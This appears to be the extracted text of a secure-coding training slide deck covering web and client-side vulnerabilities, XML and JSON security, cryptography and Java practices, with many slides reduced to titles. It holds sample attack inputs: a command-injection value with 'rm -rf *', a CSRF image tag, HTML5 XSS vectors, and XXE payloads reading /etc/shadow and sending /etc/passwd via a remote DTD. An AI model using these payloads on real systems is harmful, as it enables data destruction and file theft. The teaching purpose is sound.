Professional Documents
Culture Documents
Contents
2
Introduction
3
Introduction
• Network Security
• Vulnerability Assessment
• Search for known issues
• CVE (Common Vulnerabilities and Exposures)
4
Nature of security flaws
5
Reasons of difficulty
• It is an unbalanced fight
• Available time and resources of the developers vs. motivation and
preparedness of hackers
• Developers have to patch all vulnerabilities, hackers only need to find one
• Security testing is challenging
• Functional testing checks for how the system should work, while in case of
security it is about how the system should not work
• Weak business motivation by market forces
• Due to the technical difficulties of measuring the level of security, there is no
real customer enforced competition
6
From an infected computer to targeted attacks
7
Web application security
Web Application Security
• SQL Injection
• Command Injection
• Broken Authentication and Session Management
• Cross Site Scripting (XSS)
• Persistent, Reflected, DOM based
• Cross Site Request Forgery (CSRF)
• Insecure Direct Object Reference
• Missing function level access control
• Unvalidated file upload
• Unvalidated redirects and forwards
8
SQL Injection
9
SQL Injection
• Another example
SELECT * FROM items WHERE owner = 'admin' AND itemname = 'pen'
10
Typical SQL Injection attack methods
11
Blind and time-based SQL injection
13
Exercise
14
Web application security
Web Application Security
• SQL Injection
• Command Injection
• Broken Authentication and Session Management
• Cross Site Scripting (XSS)
• Persistent, Reflected, DOM based
• Cross Site Request Forgery (CSRF)
• Insecure Direct Object Reference
• Missing function level access control
• Unvalidated file upload
• Unvalidated redirects and forwards
15
Command injection
• A shell command string composed from user input is used to start other
programs with a parameter
• Expected command if value of backuptype is e.g. FULL:
/usr/bin/backup.sh FULL & /usr/bin/cleanup.sh
• However, if backuptype is "& rm -rf *", the executed command will be:
/usr/bin/backup.sh & rm -rf * & /usr/bin/cleanup.sh
• The solution for the above example would be trivial
• Whitelisting-based validation of the parameter
• But in general, this is not necessarily the case
16
Web application security
Web Application Security
• SQL Injection
• Command Injection
• Broken Authentication and Session Management
• Cross Site Scripting (XSS)
• Persistent, Reflected, DOM based
• Cross Site Request Forgery (CSRF)
• Insecure Direct Object Reference
• Missing function level access control
• Unvalidated file upload
• Unvalidated redirects and forwards
17
Session handling challenges
18
Session handling best practices
19
Setting cookie attributes – best practices
20
Web application security
Web Application Security
• SQL Injection
• Command Injection
• Broken Authentication and Session Management
• Cross Site Scripting (XSS)
• Persistent, Reflected, DOM based
• Cross Site Request Forgery (CSRF)
• Insecure Direct Object Reference
• Missing function level access control
• Unvalidated file upload
• Unvalidated redirects and forwards
21
Cross-Site Scripting (XSS)
22
Persistent XSS
<% …
String name="(unknown)";
String sql="select * from emp where id=?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1,request.getParameter("eid"));
ResultSet rs = pstmt.executeQuery();
if (rs != null) {
name = rs.getString("name");
}
… %>
Employee name:<%= name %>
23
Reflected XSS
<%
String eid=request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
24
DOM-based XSS
27
XSS prevention tools in Java and JSP
• OWASP
• OWASP Enterprise Security API (ESAPI)
https://www.owasp.org/index.php/ESAPI
• Also includes validation on the server in
org.owasp.esapi.reference.DefaultValidator
(relies on the ESAPI Encoder, Java Pattern regex)
• OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
28
Exercise
XSS Exercises
29
Web application security
Web Application Security
• SQL Injection
• Command Injection
• Broken Authentication and Session Management
• Cross Site Scripting (XSS)
• Persistent, Reflected, DOM based
• Cross Site Request Forgery (CSRF)
• Insecure Direct Object Reference
• Missing function level access control
• Unvalidated file upload
• Unvalidated redirects and forwards
30
Cross Site Request Forgery (CSRF)
31
Login CSRF
• The attacker forces the user to log in at another site with the
attacker’s credentials – account fixation
1. Attacker creates account on target site
2. Attacker exploits CSRF with an attack string such as
<img src="http://www.example.com/login.jsp?user=attacker&pw=attackerpw">
32
CSRF prevention
33
CSRF prevention in Java frameworks
• Vaadin adds CSRF tokens to all requests, and checks them on server
side (no action needed from developer)
34
Exercise
CSRF Exercise
35
Web application security
Web Application Security
• SQL Injection
• Command Injection
• Broken Authentication and Session Management
• Cross Site Scripting (XSS)
• Persistent, Reflected, DOM based
• Cross Site Request Forgery (CSRF)
• Insecure Direct Object Reference
• Missing function level access control
• Unvalidated file upload
• Unvalidated redirects and forwards
36
Insecure direct object reference
37
Protection against insecure direct object reference
38
Exercise
39
Web application security
Web Application Security
• SQL Injection
• Command Injection
• Broken Authentication and Session Management
• Cross Site Scripting (XSS)
• Persistent, Reflected, DOM based
• Cross Site Request Forgery (CSRF)
• Insecure Direct Object Reference
• Missing function level access control
• Unvalidated file upload
• Unvalidated redirects and forwards
40
Missing function level access control
41
Exercise
42
Web application security
Web Application Security
• SQL Injection
• Command Injection
• Broken Authentication and Session Management
• Cross Site Scripting (XSS)
• Persistent, Reflected, DOM based
• Cross Site Request Forgery (CSRF)
• Insecure Direct Object Reference
• Missing function level access control
• Unvalidated file upload
• Unvalidated redirects and forwards
43
Filtering file uploads
44
Exercise
45
Web application security
Web Application Security
• SQL Injection
• Command Injection
• Broken Authentication and Session Management
• Cross Site Scripting (XSS)
• Persistent, Reflected, DOM based
• Cross Site Request Forgery (CSRF)
• Insecure Direct Object Reference
• Missing function level access control
• Unvalidated file upload
• Unvalidated redirects and forwards
46
Unvalidated redirects and forwards
47
Client Side Security
Client Side Security
• Javascript Security
• Same Origin Policy
• Cross Origin Resource sharing
• Obfuscation
• Clickjacking
• Content Security Policy
• Ajax Security
• XSS
• Injection
• CSRF
• HTML5 Security
• XSS
• Clickjacking
• Form Tampering
• Cross Origin Requerts
49
JavaScript security
50
Same Origin Policy
51
Same Origin Policy – origin checking rules
52
Cross Origin Resource Sharing (CORS)
53
Cross Origin Resource Sharing (CORS)
• Preflight request
• Request is not directly sent for (POST), PUT, DELETE, and other custom HTTP
methods
• First a preflighted request (inquiry) is sent by using the OPTIONS method
• Then the server replies with a "consent" to receive certain methods
• The original request is sent only upon consent
• Otherwise even the sending is blocked
• Not even the request is sent at the end
54
Spot the bug – Client-side security
function check()
{
if ( SHA1(document.auth.pass.value) == '43206512b209ba29cb5c642edc85bdac133354fe')
{
window.location.href="admin_page.jsp";
}
else
{
alert('Invalid password!');
}
}
55
Spot the bug – Client-side security
function check()
{
if ( SHA1(document.auth.pass.value) == '43206512b209ba29cb5c642edc85bdac133354fe')
{
window.location.href="admin_page.jsp";
}
else
{
alert('Invalid password!');
}
}
56
Client-side authentication and password management
• Typical mistakes
• Client-side authentication or security functionality
• Hardcoded passwords
• Best practices
• Always use server-side authentication – doing it on client-side is based on
security by obscurity by definition
• Do not use any hardcoded passwords in your JavaScript code, not even in
encrypted/obfuscated form
• Hackers will find a way to learn these passwords
57
Exercise
58
Protecting JavaScript code
• Obfuscation methods
• Renaming functions, variables, … everything
• Structural transformations (changing layout, command order)
• Data transformations (e.g. [][] → [], encoding all text)
• Control transformations (e.g. regroup statements)
• In case of native code: automatic decompilation is harder
• JavaScript: it just makes the human understanding harder
• But obfuscation is just security by obscurity at the end
<script>
eval(
(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!
![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+
!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]
)
</script> 59
Exercise
60
Clickjacking
• Using a technique called Clickjacking, the attacker can fool the user to
perform otherwise unwanted actions
• Same effect as Cross-site Request Forgery, but works even if CSRF protections
(e.g. token) are in place
• Clickjacking attack is very sensitive to positioning
• But attacker can clip and enlarge the framed buttons
• The frame can be positioned with anchors and HTML element IDs to the right
place
61
Protection against Clickjacking
62
Anti frame-busting – dismissing protection scripts
63
Protection against busting frame busting
• Best practice
• frame-ancestors directive of Content Security Policy
• For legacy browsers
• First, hide all content when the page is loaded
• It should only be displayed if you are top (not framed)
• If JavaScript is disabled or someone tries to dismiss your framebusting script in any way,
page will remain blank
• If you are not top, frame-busting will occur
Clickjacking Exercise
65
Content Security Policy
66
Client Side Security
• Javascript Security
• Same Origin Policy
• Cross Origin Resource sharing
• Obfuscation
• Clickjacking
• Content Security Policy
• Ajax Security
• XSS
• Injection
• CSRF
• HTML5 Security
• XSS
• Clickjacking
• Form Tampering
• Cross Origin Requerts
67
AJAX
68
XSS in AJAX
69
Script injection attack in AJAX
71
CSRF in AJAX
72
CSRF protection in AJAX
73
Exercise
74
Client Side Security
• Javascript Security
• Same Origin Policy
• Cross Origin Resource sharing
• Obfuscation
• Clickjacking
• Content Security Policy
• Ajax Security
• XSS
• Injection
• CSRF
• HTML5 Security
• XSS
• Clickjacking
• Form Tampering
• Cross Origin Requerts
75
HTML5 security
76
New XSS possibilities in HTML5
• New tags:
• If a filter blocks only known tags that can execute JavaScript (blacklisting), the
following tags may still work:
• <video onplay="javascript:alert(1)">
• <audio onplaying="javascript:alert(1)">
• New events
• Old tags support new events
• <input type=text oninput=alert(1)>
• <form id=demo2 />
<button form=demo2 formaction=javascript:alert(1)>Click Me!</button>
• Autofocus can trigger the event automatically
• <input type=text onfocus=alert(1) autofocus>
77
HTML5 clickjacking attack – text field injection
78
HTML5 clickjacking – content extraction
• Attacker can also use the drag and drop feature to steal some
sensitive data from inside an iframe
• Again, social engineering tricks or a "Trojan" game
• Sensitive content extraction by two drag and drops
1. Trick the user to do a drag and drop
• At drag: position the first char in the field to steal
• At drop: position the last char in the field to steal
• This selects the desired text from the hidden iframe
2. Trick the user to do another drag and drop
• At drag: position some internal char of the field (selected text) so that it is
dragged
• Get the user to drop it on an element that the attacker can access
79
Form tampering
80
Exercise
81
Cross-origin requests
82
Exercise
83
XML Security
XML Security
• Injection
• XML Entity
• XML Bomb
• XML External Entity Attack (XXE)
85
Introduction
86
XML parsing
88
Basic XML injection
89
Basic XML injection
• The application will build the following node, which will be added to
the XML database
<user>
<username>bob</username>
<password>827CCB0EEA8A706C4C34A16891F84E7B</password>
<type>user</type>
<mail>bob@attacker.com</mail>
</user>
90
Basic XML injection
91
XML injection – discovery
92
(Ab)using CDATA
• Using CDATA the attacker can inject HTML tags if the data stored in
the XML is used for HTML generation
• Let’s consider the following HTML generated from XML
<html>username: $username</html>
93
Exercise
94
XML Entity introduction
95
XML bomb
96
XML bomb
97
Exercise
98
XML external entity attack (XXE) – resource inclusion
• External entity allows the inclusion of a file content into the XML
• This allows XML eXternal Entity attack (XXE)
• To get the file content, the attacker has to be able to read the result, for
example:
• Store the content in an XML field, which the user is able to access later on
• Or send the file content to the attacker’s server
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [
<!ENTITY file SYSTEM "file:///etc/shadow">
]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname> ...
</updateProfile>
99
XML external entity attack – URL invocation
100
XML external entity attack – parameter entities
• Parameter entities can be used only within DTD definition and behave more like code macros
• Parameter entities can be defined with an additional % sign
• Attacker can use it to send the content of a file using a remote DTD definition
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM http://example.com/my.dtd">
%dtd;]>
<roottag>&send;</roottag>
102
Case study – XXE in Google search
From: http://blog.detectify.com/post/82370846588/how-we-got-read-access-on-googles-production
103
Exercise
XXE Exercise
104
JSON Security
Introduction
106
JSON data types
107
JSON parsing
• According to json.org:
• To convert a JSON text into an object, you can use the eval() function.
• eval() invokes the JavaScript compiler.
• Since JSON is a proper subset of JavaScript, the compiler will correctly parse
the text and produce an object structure.
108
JSON parsing and creating – Client side
• JSON parser
• Recognizes only JSON text
• Rejects all scripts
109
JSON parsing – Server side
110
Embedded JSON
• An initial block of JSON may be generated by the server into the page
• Ensure that the returned Content-Type header is application/json and not
text/html
• Otherwise the browser may execute any injected script
• Do not insert JSON into a page directly
<script>var initData = <%= data.to_json %>;</script>
111
JSON injection
112
Case study – XSS via spoofed JSON element
• It turned out that the attacker has influence on what was ending up in the
DOM, but sanitization was good
• To go further, we should check what happens with the reference field
• It turned out that the wrong-typed reference value gets passed to this function as
variable e after receiving it from the server
l.isValidElement = function(e) {
var t = !(!e || !e._isReactElement);
return t
}
• So, if the object had a key _isReactElement set to true, the client thinks it is a valid
element
• If the reference element was valid and also contained the _store, type and props
keys, the HTML was rendered using the dangerouslySetInnerHTML property
115
Case study – XSS via spoofed JSON element – Exploit
116
Cryptography
Cryptography
118
Symmetric-Key Cryptography
119
Cryptography
120
Symmetric Encryption Algorithms
121
Cryptography
122
Hash or Message Digest
123
Hash algorithms
124
Cryptography
125
Message Authentication Code (MAC)
126
Providing integrity and authenticity with a symmetric key
127
Cryptography
128
Random Numbers and Cryptography
129
Cryptographically-strong PRNGs
130
Hardware-based TRNGs
131
Insecure randomness
132
Weak PRNGs in Java
133
Cryptography
134
Providing confidentiality with public-key encryption
135
Public-key cryptography
136
Rule of thumb – possession of private key
Decryption
Signing
Authentication
137
Providing confidentiality
138
Cryptography
139
Digital signing
• In practice, the same key pair must not be used for both signing and
encryption. Otherwise the use of the private key might be ambiguous
140
Signing with a private key
141
Cryptography
142
Man-in-the-Middle (MitM) attack
143
Man-in-the-Middle (MitM) attack
144
Digital certificates against MitM attack
145
Certificate Authorities in Public Key Infrastructure
146
Cryptography
147
Digital certificates
148
X.509 digital certificate
149
Certificate Revocation Lists (CRLs)
150
Online Certificate Status Protocol (OCSP)
• A CRL contains ALL the certificates that have been ever revoked
(belonging to that CA)
• Problems:
• CRLs can get very big (several tens of megabytes)
• These have to be downloaded by all of the applications that need to verify certificate
validity
• CRLs are not updated real-time
• An application might believe that a certificate is valid, even though it has been revoked
since the last check
• Online Certificate Status Protocol (OCSP)
• A web service provided by CAs which provides real-time revocation
information about certificates
• The OCSP service endpoint is contained in an X.509 field
151
Cryptography
152
SSL/TLS protocols
153
SSL/TLS options
154
Security services
155
SSL/TLS handshake
156
Typical problems related to the use of security features
157
Cryptography
158
Password management – spot the bug!
159
Password management – spot the bug!
161
Special purpose hash algorithms for password storage
• Argon2
• Winner of the Password Hashing Competition in 2015
• The #1 choice according to OWASP (use this if available)
• Password-Based Key Derivation Func. 2 (PBKDF2)
• Based on SHA1 or SHA256 (HMAC)
• Recommended by NIST, FIPS-140 compliant
• bcrypt
• Based on Blowfish cipher, includes salting by design
• Adaptive (in terms of speed) – "cost" is adjustable
• More resistant to GPU attacks (uses a global table)
• scrypt
• More resource intensive than PBKDF2 or bcrypt
• Designed to make hardware implementations more difficult and expensive
162
Typical mistakes in password management
• Hardcoded password
• Passwords embedded in the source code can be revealed
• Weak cryptography
• Weakly encoded passwords are not protected
• Password truncation
• Makes the use of passphrases insecure
• Empty passwords
• Null passwords can be easily guessed
• Password in URL
• Passwords passed in URLs may be stored in log files
• Logging passwords
• Do not log wrong passwords either
163
Java Best Practices
164
Input validation concepts
165
Path traversal vulnerability
166
Path traversal mitigation
167
Typical problems with error and exception handling
168
Empty catch block
• Almost all attacks start with the attacker breaking the programmers’
assumptions
• We don’t handle an exception, because…
• “this method isn’t going to generate any errors…”
• “even if an error occurs, it doesn’t matter at this point…”
try {
doExchange();
}
catch (RareException e) {
// this can never happen
}
• … and when the error does happen, the program loses the exception and
makes it harder to detect the cause of the problem and fix the bug
169
Overly broad throws
170
Overly broad catch
• However, if we don’t…
try {
doExchange();
}
catch (Exception e) {
logger.error("doExchange() failed", e); }
171
Using multi-catch in Java
172
Returning from finally block in Java – spot the bug!
173
Returning from finally block in Java – spot the bug!
• A return command inside a finally block will make all exceptions thrown in
the try block “disappear”
• Even though an exception is thrown in try, it is destroyed in finally, and the
function will exit normally
174
NullPointerException
175
Catching NullPointerException
176
Dangers arising from poor code quality
177
Poor code quality – spot the bug!
178
Poor code quality – spot the bug!
179
Unreleased resources
180
Questions?